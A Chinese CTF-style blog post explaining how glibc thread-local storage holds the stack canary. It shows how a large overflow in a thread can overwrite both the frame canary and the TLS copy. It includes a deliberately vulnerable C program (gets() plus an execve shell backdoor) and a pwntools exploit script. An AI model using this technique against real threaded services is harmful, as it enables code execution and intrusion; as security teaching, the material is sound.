线程本地存储(thread local storage)绕过 canary

发布于 2020-10-28  923 次阅读


什么是 tls

通常在C程序中常存在全局变量、静态变量以及局部变量,对于局部变量来说,并不存在线程安全问题。

而对于全局变量和函数内定义的静态变量,同一进程中各个线程都可以访问它们,因此它们存在多线程读写问题。

如果需要在一个线程内部的各个函数调用都能访问、但其它线程不能访问的变量(被称为 static memory local to a thread 线程局部静态变量),就需要新的机制来实现,这就是TLS。

下方是 TLS 的结构,这个结构会在线程创建的时候被放入每个线程栈的栈底

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;

其中,stack_guard 就是我们平时所说的 canary,线程通过 fs 寄存器加偏移得到(0x8 4 + 0x4 2 = 0x28)

file

如何利用

当函数在不同的线程上被调用时,该线程会被分配新的栈,并且Canary会被放置在TLS上。TLS位于栈的顶部,当溢出长度较大时,可以同时覆盖返回地址前的 Canary 和 TLS 中的 Canary 实现绕过。

/*
gcc test.c -o test -lpthread -no-pie
*/

#include<stdio.h>
#include<pthread.h>

void backdoor(){
    execve("/bin/sh", 0, 0);
}

void test(){
    char buf[0x20];
    gets(buf);
}

int main(){
    pthread_t newthread;
    while(1)
        if(pthread_create(&newthread, 0, test, 0) != -1)
            pthread_join(newthread, 0);

}

这个程序会不断申请新的线程并且进行 gets 操作,这里明显存在栈溢出。

根据刚刚的分析,栈帧的 canary 和 整个线程的 canary 都存在于栈上,所以我们只需要利用栈溢出将 tls 中的 canary 修改为我们想要的值即可造成 ROP。

不过要注意,在线程中是不能进行 system 等包含 fork() 操作的函数的,会引发 segment fault。

from pwn import *
import sys
context.log_level = 'DEBUG'
context.terminal=["open-wsl.exe","-c"]

ver = '2.31'
elf_dir = './test'
#ld_dir = '/glibc/x64/{0}/lib/ld-{0}.so'.format(ver)

#libc_dir = './libc.so'
libc_dir = "/glibc/x64/{0}/lib/libc-{0}.so".format(ver)

if(len(sys.argv) == 1):
    #p = process(elf_dir)
    p = process([elf_dir],env={"LD_PRELOAD": libc_dir})
    #p = process([ld_dir, elf_dir], env={"LD_PRELOAD": libc_dir})
else:
    p = remote('',)

#gdb.attach(p, 'b *0x401204\nc')

p.sendline(b'a'*0x28 + b'b'*0x8 + b'fake_rbp' + p64(0x4011BE) + b'c'*0x828 + b'b'*0x8)

p.interactive()

参考资料

https://blog.csdn.net/seaaseesa/article/details/104479071

https://jontsang.github.io/post/34550.htm


CTFer|NOIPer|CSGO|摸鱼|菜鸡